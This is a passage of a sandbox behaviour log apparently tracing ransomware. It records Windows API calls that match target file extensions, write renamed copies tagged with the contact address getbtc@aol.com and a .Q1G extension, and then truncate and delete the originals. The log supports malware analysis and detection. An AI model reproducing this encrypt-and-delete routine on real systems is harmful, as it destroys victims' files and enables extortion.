Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.382] lstrlenW (lpString=".doc") returned 4 [0054.382] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString=".docx") returned 5 [0054.382] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0054.382] lstrlenW (lpString=".pdf") returned 4 [0054.382] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString=".xls") returned 4 [0054.382] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString=".xlsx") returned 5 [0054.382] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0054.382] lstrlenW (lpString=".ppt") returned 4 [0054.382] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.382] lstrlenW (lpString=".zip") returned 4 [0054.382] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.382] lstrlenW (lpString=".rar") returned 4 [0054.382] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString=".bz2") returned 4 [0054.382] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString=".7z") returned 3 [0054.382] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.382] lstrlenW (lpString=".dbf") returned 4 [0054.382] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.382] lstrlenW (lpString=".1cd") returned 4 [0054.382] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.382] lstrlenW (lpString=".jpg") returned 4 [0054.382] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.383] lstrlenW (lpString=".doc") returned 4 [0054.383] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString=".docx") returned 5 [0054.383] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0054.383] lstrlenW (lpString=".pdf") returned 4 [0054.383] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString=".xls") returned 4 [0054.383] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString=".xlsx") returned 5 [0054.383] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0054.383] lstrlenW (lpString=".ppt") returned 4 [0054.383] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.383] lstrlenW (lpString=".zip") returned 4 [0054.383] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.383] lstrlenW (lpString=".rar") returned 4 [0054.383] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString=".bz2") returned 4 [0054.383] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString=".7z") returned 3 [0054.383] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.383] lstrlenW (lpString=".dbf") returned 4 [0054.383] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.383] lstrlenW (lpString=".1cd") returned 4 [0054.383] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0054.383] lstrlenW (lpString=".jpg") returned 4 [0054.383] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.384] lstrcmpiW (lpString1=".xsl", lpString2=".Q1G") returned 1 [0054.384] lstrlenW (lpString="sql70.xsl") returned 9 [0054.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.385] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=32146) returned 1 [0054.385] CloseHandle (hObject=0x1d0) returned 1 [0054.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0054.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.385] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.385] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.385] GetLastError () returned 0x0 [0054.385] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x7d92, lpOverlapped=0x0) returned 1 [0054.387] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0054.388] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.388] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.388] SetEndOfFile (hFile=0x1fc) returned 1 [0054.388] CloseHandle (hObject=0x1fc) returned 1 [0054.388] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.388] SetEndOfFile (hFile=0x1d0) returned 1 [0054.389] CloseHandle (hObject=0x1d0) returned 1 [0054.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0054.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.390] lstrlenW (lpString=".doc") returned 4 [0054.390] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString=".docx") returned 5 [0054.390] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.390] lstrlenW (lpString=".pdf") returned 4 [0054.390] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString=".xls") returned 4 [0054.390] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString=".xlsx") returned 5 [0054.390] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.390] lstrlenW (lpString=".ppt") returned 4 [0054.390] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.390] lstrlenW (lpString=".zip") returned 4 [0054.390] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.390] lstrlenW (lpString=".rar") returned 4 [0054.390] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString=".bz2") returned 4 [0054.390] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString=".7z") returned 3 [0054.390] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.390] lstrlenW (lpString=".dbf") returned 4 [0054.390] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.390] lstrlenW (lpString=".1cd") returned 4 [0054.390] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.391] lstrlenW (lpString=".jpg") returned 4 [0054.391] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.391] lstrlenW (lpString=".doc") returned 4 [0054.391] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString=".docx") returned 5 [0054.391] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.391] lstrlenW (lpString=".pdf") returned 4 [0054.391] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString=".xls") returned 4 [0054.391] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString=".xlsx") returned 5 [0054.391] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.391] lstrlenW (lpString=".ppt") returned 4 [0054.391] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.391] lstrlenW (lpString=".zip") returned 4 [0054.391] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.391] lstrlenW (lpString=".rar") returned 4 [0054.391] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString=".bz2") returned 4 [0054.391] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString=".7z") returned 3 [0054.391] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.391] lstrlenW (lpString=".dbf") returned 4 [0054.391] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.391] lstrlenW (lpString=".1cd") returned 4 [0054.391] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0054.392] lstrlenW (lpString=".jpg") returned 4 [0054.392] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.392] lstrcmpiW (lpString1=".xsl", lpString2=".Q1G") returned 1 [0054.392] lstrlenW (lpString="sql90.xsl") returned 9 [0054.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.392] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=39515) returned 1 [0054.392] CloseHandle (hObject=0x1d0) returned 1 [0054.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0054.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.392] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.392] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.393] GetLastError () returned 0x0 [0054.393] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0054.402] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0054.403] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.403] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.403] SetEndOfFile (hFile=0x1fc) returned 1 [0054.403] CloseHandle (hObject=0x1fc) returned 1 [0054.404] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.404] SetEndOfFile (hFile=0x1d0) returned 1 [0054.405] CloseHandle (hObject=0x1d0) returned 1 [0054.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0054.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.405] lstrlenW (lpString=".doc") returned 4 [0054.405] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.405] lstrlenW (lpString=".docx") returned 5 [0054.405] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.405] lstrlenW (lpString=".pdf") returned 4 [0054.405] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.405] lstrlenW (lpString=".xls") returned 4 [0054.405] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.405] lstrlenW (lpString=".xlsx") returned 5 [0054.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.405] lstrlenW (lpString=".ppt") returned 4 [0054.405] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.405] lstrlenW (lpString=".zip") returned 4 [0054.405] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.405] lstrlenW (lpString=".rar") returned 4 [0054.405] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.405] lstrlenW (lpString=".bz2") returned 4 [0054.406] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString=".7z") returned 3 [0054.406] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.406] lstrlenW (lpString=".dbf") returned 4 [0054.406] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.406] lstrlenW (lpString=".1cd") returned 4 [0054.406] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.406] lstrlenW (lpString=".jpg") returned 4 [0054.406] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.406] lstrlenW (lpString=".doc") returned 4 [0054.406] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString=".docx") returned 5 [0054.406] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0054.406] lstrlenW (lpString=".pdf") returned 4 [0054.406] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString=".xls") returned 4 [0054.406] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString=".xlsx") returned 5 [0054.406] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0054.406] lstrlenW (lpString=".ppt") returned 4 [0054.406] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.406] lstrlenW (lpString=".zip") returned 4 [0054.406] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.406] lstrlenW (lpString=".rar") returned 4 [0054.406] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString=".bz2") returned 4 [0054.406] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.406] lstrlenW (lpString=".7z") returned 3 [0054.406] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.407] lstrlenW (lpString=".dbf") returned 4 [0054.407] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.407] lstrlenW (lpString=".1cd") returned 4 [0054.407] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0054.407] lstrlenW (lpString=".jpg") returned 4 [0054.407] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.407] lstrcmpiW (lpString1=".xsl", lpString2=".Q1G") returned 1 [0054.407] lstrlenW (lpString="Sybase.xsl") returned 10 [0054.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.408] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=29790) returned 1 [0054.408] CloseHandle (hObject=0x1d0) returned 1 [0054.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0054.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.408] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.408] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.408] GetLastError () returned 0x0 [0054.408] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x745e, lpOverlapped=0x0) returned 1 [0054.843] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x7460, lpOverlapped=0x0) returned 1 [0054.844] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.844] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0054.844] SetEndOfFile (hFile=0x1fc) returned 1 [0054.844] CloseHandle (hObject=0x1fc) returned 1 [0054.844] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.844] SetEndOfFile (hFile=0x1d0) returned 1 [0054.845] CloseHandle (hObject=0x1d0) returned 1 [0054.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis 